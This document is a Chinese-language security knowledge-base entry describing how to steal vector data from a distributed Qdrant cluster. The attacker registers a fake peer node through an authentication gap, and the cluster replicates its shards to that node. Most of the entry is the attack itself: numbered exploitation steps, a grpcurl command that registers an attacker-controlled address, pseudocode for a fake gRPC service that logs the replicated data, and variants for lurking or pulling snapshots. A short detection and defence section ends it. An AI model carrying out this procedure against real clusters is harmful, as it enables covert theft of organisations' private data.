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伪造 Qdrant peer 接收分片复制窃取向量数据

ai-security/rag-security · verified

一句话结论

攻击者用 AddPeerToKnown 把一个自己控制的假 6335 服务注册成 Qdrant 集群成员后,集群会把它当正常节点,持续发送 Raft 消息并按副本策略复制分片;假服务只需实现最小 gRPC 接口并返回成功,就能在 PointsInternal/Upsert 等请求中收到真实向量数据。

原理

Qdrant 分布式集群通过 Raft 维护成员列表。AddPeerToKnown 只记录 peer 的 URI、端口和 id,不校验该地址是否真的运行 Qdrant,也不验证连通性——“先记住,稍后再连”。

新 peer 被接受后:

  • 集群按成员地址持续发送 Raft 消息;
  • 创建多副本 collection 或触发分片重平衡时,leader 会把分片复制到新成员;
  • 分片复制与点写入通过内部 gRPC 的 PointsInternal/Upsert、WaitOnConsensusCommit 等方法传输,请求中带有 collection 名、点 id 和向量分量;
  • 假服务只要按 proto 返回合法响应(Acknowledged/空响应),集群就认为复制成功,继续发送。

因此攻击者不需要破解数据格式或拿到存储文件,只需在成员地址上“接住”集群主动推来的流量。

触发条件

  • 目标 Qdrant 为分布式集群,且攻击者能通过认证缺口调用 Raft/AddPeerToKnown(只读 key、未开 enforce、或无 api_key 的匿名访问);
  • 攻击者控制的地址能被集群节点访问(同网段/同 VPC/K8s 网络);
  • 假服务监听在声明的 6335 端口,并实现 Qdrant 内部 gRPC 的最小方法集;
  • 集群存在多副本 collection 或会发生分片重平衡;
  • 集群把新 peer 视为健康成员(假服务返回正常响应)。

利用步骤

  1. 在攻击者主机启动假 6335 gRPC 服务,加载 Qdrant 的 points_internal_service.proto 等文件;
  2. 实现 PointsInternal/Upsert、WaitOnConsensusCommit 等方法,记录请求并返回成功;
  3. 通过认证缺口调用 AddPeerToKnown,uri 指向攻击者地址,id 选一个不与现有 peer 冲突的 uint64;
  4. 等待集群发送 Raft/心跳;观察假服务日志出现内部请求;
  5. 在目标创建副本数为 2 的 collection,写入测试点,触发向新 peer 的分片复制;
  6. 从 PointsInternal/Upsert 请求中提取 collection 名、点 id 与向量分量;
  7. 持续监听或触发重平衡,收集更多分片数据。

PoC

注册伪节点(需先满足认证缺口):

grpcurl -plaintext -import-path ./proto -proto raft_service.proto \
  -H "api-key: ro-key-123" \
  -d '{"uri":"http://172.31.0.1:6335","port":6335,"id":100}' \
  172.31.0.2:6335 qdrant.Raft/AddPeerToKnown

假服务的核心是“接住并记录”,不是完整实现 Qdrant。文章实测的假服务约两百行 Python,仅回空响应、不解析 protobuf,即可在日志中看到:

[数据] PointsInternal/Upsert 第 1 次:请求 77 字节,匹配到写入过的向量分量 [0.1, 0.2, 0.3, 0.4]

最小实现要点(伪代码,需用 proto 生成服务基类):

class PointsInternalServicer(points_internal_service_pb2_grpc.PointsInternalServicer):
    def Upsert(self, request, context):
        log(request.SerializeToString())      # 记录原始字节,后续离线解析
        return points_internal_service_pb2.PointsOperationResponse(result=...)

# 用 grpc.server + add_PointsInternalServicer_to_server 监听 6335

变体与关联

  • 变体:伪造节点后不实现数据面,只实现 Raft 响应以长期潜伏;利用快照接口拉取更大分片;结合 GetTelemetry 收集集群信息。
  • 关联:[[web-generic-auth-qdrant-internal-grpc-auth-bypass]](注册伪节点所需的认证缺陷);RAG 向量库数据泄露与检索投毒。
  • 不确定点:分片复制触发条件与副本策略、collection 配置有关;不同 Qdrant 版本的内部 proto 方法名可能变化,需以目标版本 proto 为准。

检测与防御

  • 检测:/cluster 的 peers 中出现未知 id/URI;节点日志出现向陌生地址发送 Raft 消息或 message_send_failures;Qdrant 节点对非集群地址发起 6335 连接;collection 副本状态异常。
  • 防御:修复内部端口认证缺口(升级、配置 api_key、开启 TLS);网络策略限制 6335 仅集群节点可达;对集群成员变更告警并审计 AddPeerToKnown 调用;限制节点出网。
  • 数据面:对向量库中的敏感数据做访问控制与加密;定期核对 peer 列表与预期拓扑;假节点即使只回空响应也能收到数据,因此“返回成功”不能作为成员可信的判据。